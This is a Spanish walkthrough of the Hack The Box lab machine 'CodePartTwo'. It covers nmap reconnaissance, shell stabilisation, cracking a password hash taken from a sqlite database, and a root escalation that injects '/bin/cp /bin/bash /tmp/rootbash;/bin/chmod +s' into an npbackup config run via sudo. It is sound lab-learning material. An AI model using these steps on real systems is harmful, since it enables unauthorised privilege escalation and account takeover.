CodePartTwo

Aqui explicaré paso a paso lo que he hecho para resolver esta máquina de HTB.

Mapeo con nmap

Tanteamos el terreno

nmap -p- --open -n -Pn -vvv --min-rate 5000 10.10.11.82 -oX targeted.xml

Luego lo transformamos a html y lo visualizamos de la siguiente manera:

xsltproc targeted.xml > targeted.html  
xdg-open targeted.html  

Imagen del resultado

Ahora hacemos un analisis más profundo:

nmap -p22,8000 -sCV 10.10.11.82 -oX fullScan.xml

Repetimos el proceso de transformación:

xsltproc fullScan.xml > full.html  
xdg-open full.html  

Imagen del resultado

Ver vulnerabilidades

Primeramente añadimos a /etc/hosts la ip de la máquina victima con sus respectivos nombres:

10.10.11.82 codetwo.htb codetwo

Acceso a la página

Página de la máquina

Debemos crear una cuenta. No obstante probamos credenciales básicas para ver si podemos ganar acceso como administrador, no sirve. Una vez creamos la cuenta, se observa un interprete de JS. Obviamente, todo hace indicar que debemos explotarlo. Para ello, hago uso de un script en python que nos permitirá obtener un revert shell.

Una vez accedemos al sistema de la máquina victima, deberemos ejecutar los siguientes comandos para trabajar más comodamente:

En la shell de la máquina vicitima:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Pulsamos Ctrl + Z para suspender.

Seguidamente, en nuestra terminal:

stty raw -echo; fg

Ahora ya podremos tener la terminal sin preocuparnos de cerrarla accidentalemente con Ctrl + C. No obstante, deberemos escribir lo siguiente:

export TERM=xterm
stty columns 44 rows 128 #Deberemos ver el tamaño de nuestra terminal con stty size

Listo.

Obtener las flags

El siguiente paso será obtener la flag de user.txt. Para ello, deberemos listar usuarios del sistema y saber en donde nos encontramos.

En esta ocasión, somos el usuario app y no poseemos ningun permiso relevante. Sin embargo, tenemos acceso al directorio app, y, curiosamente, dentro de instance, hay una base de datos, users.db. Accedemos a ella usando sqlite3, listamos las tablas y oh sorpresa, hay una tabla llamada user.

Resultado de la consulta a la tabla Users

EL usuario marco se encuentra en el sistema y parece que tenemos su contraseña. La obtenemos con hashes y nos dá la siguiente salida.

Imagen de la salida

Probamos suerte y efectivamente, estamos dentro con el usuario marco.

Imagen de bash con el usuario Marco

Ya podemos obtener la bandera del usuario:

Imagen de la bandera

Escalada de privilegios

Si usamos el comando:

sudo -l

Vemos que tenemeos accesso como root para ejecutar un script un tanto curioso: /usr/local/bin/npbackup-cli.

Si nos fijamos en el script:

#!/usr/bin/python3
# -*- coding: utf-8 -*-
import re
import sys
from npbackup.__main__ import main
if __name__ == '__main__':
    # Block restricted flag
    if '--external-backend-binary' in sys.argv:
        print("Error: '--external-backend-binary' flag is restricted for use.")
        sys.exit(1)

    sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
    sys.exit(main())

Y en /home/marco:

Archivo: npbackup.conf

Pues ya tenemos la manera de escalar privilegios.

Primero, dado que tenemos permisos en nuestro directorio siendo marco, copiamos npbackup.conf y le damos un nombre que nos servirá para luego. Le nombraré como boom.conf.

Dentro deberemos cambiar varias cosas: Remplazaremos:

  1. En path, de /home/app/app/ a /usr/lib.
  2. En post_exec_commands de [ ] a [/bin/cp /bin/bash /tmp/rootbash;/bin/chmod +s /tmp/rootbash].
  3. En minimum_backup_age deberemos indicar el valor 0.

Ahora solo deberemos ejecutar el script indicandole la ruta de nuestro archivo de configuración:

sudo /usr/local/bin/npbackup-cli -c /home/marco/boom.conf -b

Y lo detenemos con Ctrl + C. Para volver a ejecutar el mismo comando:

sudo /usr/local/bin/npbackup-cli -c /home/marco/boom.conf -b

Esperamos que termine y accedemos a nuestra terminal como root de la siguiente manera:

/tmp/rootbash -p

Y ya estaría:

Imagen como root

Resultado

Certificado


Escrito por: Iñaki Spinardi